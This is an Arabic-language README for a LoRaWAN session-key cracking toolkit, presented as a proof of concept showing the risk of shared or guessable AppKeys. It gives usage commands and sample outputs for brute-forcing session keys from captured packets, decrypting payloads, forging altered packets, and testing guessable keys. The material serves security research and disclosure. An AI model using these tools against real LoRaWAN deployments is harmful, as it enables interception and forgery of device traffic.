
مُخترق جلسات LoRaWAN - إثبات مفهوم لاستغلال مفاتيح التطبيق الضعيفة أو المشتركة
تم إنشاؤه بواسطة Sipke Mellema من Applied Risk
هذا إثبات مفهوم لإظهار مخاطر استخدام نفس AppKey على عدة عقد LoRaWAN.
يحتوي هذا المستودع على مجموعة أدوات لكسر مفاتيح جلسات LoRaWAN من الحزم الملتقطة. يفترض سيناريو الهجوم أنك تعرف AppKey ولكنك فاتتك المصافحة. أو أن AppKey ليس عشوائيًا ويمكن تخمينه.
تستخدم مصافحات LoRa ثلاث قيم لتوليد مفاتيح الجلسة:
AppNonce | NetID | DevNonce
AppNonce و NetID كلاهما 3 بايت، و DevNonce هو 2 بايت. جزء من NetID معروف، لذا يتبقى 57 بت من الإنتروبيا. وبسبب عيوب التنفيذ يمكن أن ينخفض هذا الرقم أكثر.
فقط نفّذ make. لاحظ أنه قد تحتاج إلى الربط بموقع openssl 1.0.* في ملف Makefile.
./loracrack -k <AppKey بالنظام الست عشري> -p <الحزمة الخام بالنظام الست عشري>
يكسر مفاتيح الجلسة إذا فاتتك المصافحة (join-accept) ولكن AppKey معروف. يتم الكسر عن طريق توليد مفاتيح الجلسة والتحقق من MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
وسائط اختيارية:
-t عدد الخيوط
-v وضع التفصيل (0, 1 أو 2)
-m أقصى AppNonce
./loracrack_knownpt -k <AppKey بالنظام الست عشري> -p <الحزمة الخام بالنظام الست عشري> -d <النص العادي بالنظام الست عشري>
يكسر مفاتيح الجلسة إذا فاتتك المصافحة (join-accept) ولكن AppKey والنص العادي معروفان. يتم الكسر عن طريق فك تشفير FRMPayload والتحقق من النص العادي. إنه أسرع من التحقق من MIC، لأن CMAC يستخدم عمليات AES أكثر.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
وسائط اختيارية:
-t عدد الخيوط
-v وضع التفصيل (0, 1 أو 2)
-m أقصى AppNonce
./loracrack_decrypt -k <مفتاح فك التشفير بالنظام الست عشري> -p <الحزمة الخام بالنظام الست عشري>
يفك تشفير بيانات الحزمة إذا كان مفتاح الجلسة معروفًا.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <الحزمة الخام بالنظام الست عشري> -a <AppSKey بالنظام الست عشري> -n <NwkSKey بالنظام الست عشري> -c <Fctn> -d <البيانات الجديدة بالنظام الست عشري>
يعدّل الحزمة ببيانات جديدة، مع الحفاظ على الأشياء القديمة مثل DeviceAddr.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey بالنظام الست عشري> -j <حزمة الانضمام بالنظام الست عشري> -a <حزمة القبول بالنظام الست عشري>
يولّد مفاتيح الجلسة بناءً على المصافحة (حزمتي الانضمام والقبول) و AppKey.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <الحزمة الخام بالنظام الست عشري> -f <ملف يحتوي على AppKeys بالنظام الست عشري>
يتحقق مما إذا كانت AppKeys قابلة للتخمين مستخدمة عن طريق التحقق من MIC على حزمة الانضمام. يتم أخذ AppKeys من ملف يحتوي على AppKeys مشفرة بالنظام الست عشري في أسطر جديدة.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888